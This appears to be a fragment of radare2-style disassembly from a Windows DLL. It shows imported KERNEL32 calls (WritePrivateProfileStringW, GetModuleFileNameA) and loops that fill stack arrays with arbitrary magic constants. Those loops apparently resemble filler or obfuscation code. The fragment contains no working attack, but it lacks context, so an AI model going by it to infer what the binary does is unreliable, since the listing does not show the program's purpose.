call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x20
je 0x10037df0
or eax, 0xffffffff
lea ecx, [ebp - 0xc24]
mov dword [ebp - 4], eax
call fcn.10019816
mov dword [ebp - 0x2c], 0x88c83b91
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], 0x9869ec42
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10037e52
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1094], 0x5a1fa147
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10037e3a
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037e6a
push 0xc42
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push 6
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10037ead
or ebx, 0xffffffff
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x1a
jge 0x10037ea2
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x20]
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x1a
jl 0x10037e84
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037e78
mov dword [ebp - 0x18], 0xf6b8f3d4
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0xc3c]
mov dword [ebp - 0x20], 0x4c46
mov dword [ebp - 0x30], 0x369c
push esi
call fcn.10019794
xor eax, eax
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10037f01
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x64], 0x4d9a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10037eec
mov dword [ebp - 0x1c], eax
jmp 0x10037f1d